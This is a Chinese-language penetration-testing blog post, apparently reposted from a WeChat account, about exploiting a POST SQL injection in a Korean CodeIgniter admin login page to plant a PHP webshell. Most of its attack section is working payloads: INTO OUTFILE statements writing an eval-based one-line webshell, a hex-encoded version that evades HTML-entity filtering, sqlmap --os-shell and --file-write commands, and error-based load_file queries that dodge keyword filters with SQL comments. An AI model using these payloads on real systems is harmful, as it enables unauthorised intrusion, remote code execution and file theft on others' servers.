韩国登录框POST注入到Getshell

admin 2020年12月1日08:36:14评论65 views字数 3572阅读11分54秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

所有话题标签:

#Web安全   #漏洞复现   #工具使用   #权限提升

#权限维持   #防护绕过   #内网安全   #实战案例

#其他笔记   #资源分享   #MSF


0x01 前言

在上篇文章中介绍了一个意大利后台登录框POST注入漏洞的基本利用方法,而这篇文章主要记录的是一个韩国后台登录框POST注入漏洞在Getshell时遇到的安全过滤简单分析过程和绕过方法,这次用于测试的漏洞靶场由@黑无常老哥提供,在此表示感谢


0x02 POST注入安全过滤分析

这套程序的开发作者采用的CodeIgniter框架,但他后台登录验证功能时没有经过有效过滤直接带入查询,导致出现SQL注入漏洞
  • 问题文件:.applicationmodelslogin_model.php

韩国登录框POST注入到Getshell
韩国登录框POST注入到Getshell


通过对代码的分析和后台登录页的测试发现确实存在POST注入漏洞,那么我们就先来尝试一下常规的Getshell方法看下是否可行

'or 1 into outfile 'C:\phpStudy\WWW\kr\uploads\webshell.php' fields terminated by "<?php @eval($_POST['90sec']);?>"#
韩国登录框POST注入到Getshell


在上图中可以看到文件已经被成功写进去了,但是<>尖括号和()小括号都被过滤掉了。

韩国登录框POST注入到Getshell


注:浏览器访问时发现文件内容显示是正常的,测试过程中遇到这种情况时可能会误认为该文件没有被解析,其实并不是的,只不过是因为转换后的编码也能被浏览器正常解析罢了。

韩国登录框POST注入到Getshell


找到过滤文件看下代码怎么写的,很多网站都是直接采用htmlentities()、htmlspecialchars()等函数将一些预定义的字符转换为HTML实体编码,而这个开发作者是利用正则匹配和替换方式将<>尖括号转换为HTML实体编码,包含特定关键词的()小括号替换为了Unicode编码

  • 危险字符过滤文件:.systemcoreSecurity.php

    • HTML实体编码:<>尖括号 = &lt;&gt;

    • Unicode ASCII 10进制编码:()小括号 = &#40;&#41;

韩国登录框POST注入到Getshell
韩国登录框POST注入到Getshell


Unicode五种编码形式:

  • http://www.mxcz.net/tools/Unicode.aspx

Unicode &#(ASCII 10进制):&#57;&#48;&#115;&#101;&#99;Unicode &(ASCII 10进制):&#00057;&#00048;&#00115;&#00101;&#00099;Unicode uHEX 16进制):u0039u0030u0073u0065u0063Unicode u+(HEX 16进制):u+0039u+0030u+0073u+0065u+0063Unicode &#xHEX 16进制):&#x0039;&#x0030;&#x0073;&#x0065;&#x0063;
常用PHP安全过滤函数有:
magic_quotes_gpc                //对GET、POST、COOKE中的数据进行过滤mysql_real_escape_string()      //转义SQL语句中的特殊字符addslashes()                    //在预定义字符之前添加反斜杠stripslashes()                  //删除反斜杠htmlentities()                  //将字符转换为HTML实体htmlspecialchars()              //将预定义字符< 、 >等转换为HTML实体strip_tags()                    //删除字符串中的HTML标签md5()                            //Md5加密函数sha1()                          //sha1加密函数intval()                        //将变量转成整数型[...SNIP...]


Sqlmap Getshell数据包分析

(1) sqlmap --v 3参数获取注入Payload

sqlmap -r post.txt -p "userid" --os-shell -v 3

韩国登录框POST注入到Getshell


(2) sqlmap --proxy参数获取注入payload

sqlmap -r post.txt -p "userid" --os-shell --proxy "http://127.0.0.1:8080"
韩国登录框POST注入到Getshell


注:使用--os-shell、--file-write、--file-dest、--file-read等参数在读取和写入文件时都会提示500的报错,但其实文件都已经成功写入到指定路径里了,只是内容为空而已,只需要在--os-shell参数的Payload前加上'or 1=1即可成功写入

root@kali:~# sqlmap -r post.txt -p "userid" --file-write "/tmp/shell.php" --file-dest "C:\phpStudy\WWW\kr\upload\webshell.php" -v 3
韩国登录框POST注入到Getshell


0x03 POST注入GetShell绕过

(1) 因WAF注入规则或自写安全脚本过滤了union、select等,这时可以尝试使用以下方法进行绕过。
'or 1 into outfile 'C:\phpStudy\WWW\kr\uploads\webshell.php' fields terminated by "<?php @eval($_POST['90sec']);?>"#

(2) 用htmlentities()、htmlspecialchars()等函数将<>尖括号转换为html实体编码,或利用正则匹配和替换方式将<>尖括号和()小括号替换为Unicode编码,这时我们可以将一句话木马的内容进行HEX编码即可绕过
'or 1=1 limit 0,1 into outfile 'C:\phpStudy\WWW\kr\uploads\webshell.php' fields terminated by 0x3C3F70687020406576616C28245F504F53545B273930736563275D293B203F3E%23
韩国登录框POST注入到Getshell
韩国登录框POST注入到Getshell
韩国登录框POST注入到Getshell

0x04 POST注入Load_File绕过

由于安全过滤中也匹配了file、file_get_contents、readfile关键字,所以不能直接使用load_file()函数读取目标磁盘上的文件,用以下语句进行测试,可以看到load_file()函数中的括号已经被编码了,感谢团队@Cream老哥给推荐的seay大佬写的MySQL监控插件。
'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(load_file(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and'
韩国登录框POST注入到Getshell


虽然被过滤了,但还是可以利用/*..*/、/*!..*/注释方式来绕过安全过滤中正则匹配到的file等关键字。

'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(load_file/**/(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and'
'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(/*!load_file*/(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and'

韩国登录框POST注入到Getshell




只需在公众号回复“9527”即可领取一套HTB靶场学习文档和视频,回复“1120领取黑客防线和安全参考等安全杂志PDF电子版你还在等什么???




【往期TOP5】
绕过CDN查找真实IP方法总结
站库分离常规渗透思路总结
Metasploit主机上线钉钉通知
谷歌浏览器插件 - 渗透测试篇
谷歌浏览器插件推荐 - 日常使用篇

韩国登录框POST注入到Getshell

韩国登录框POST注入到Getshell

韩国登录框POST注入到Getshell  如果对你有所帮助,点个分享、赞、在看呗!韩国登录框POST注入到Getshell

本文始发于微信公众号(潇湘信安):韩国登录框POST注入到Getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月1日08:36:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   韩国登录框POST注入到Getshellhttps://cn-sec.com/archives/193736.html

发表评论

匿名网友 填写信息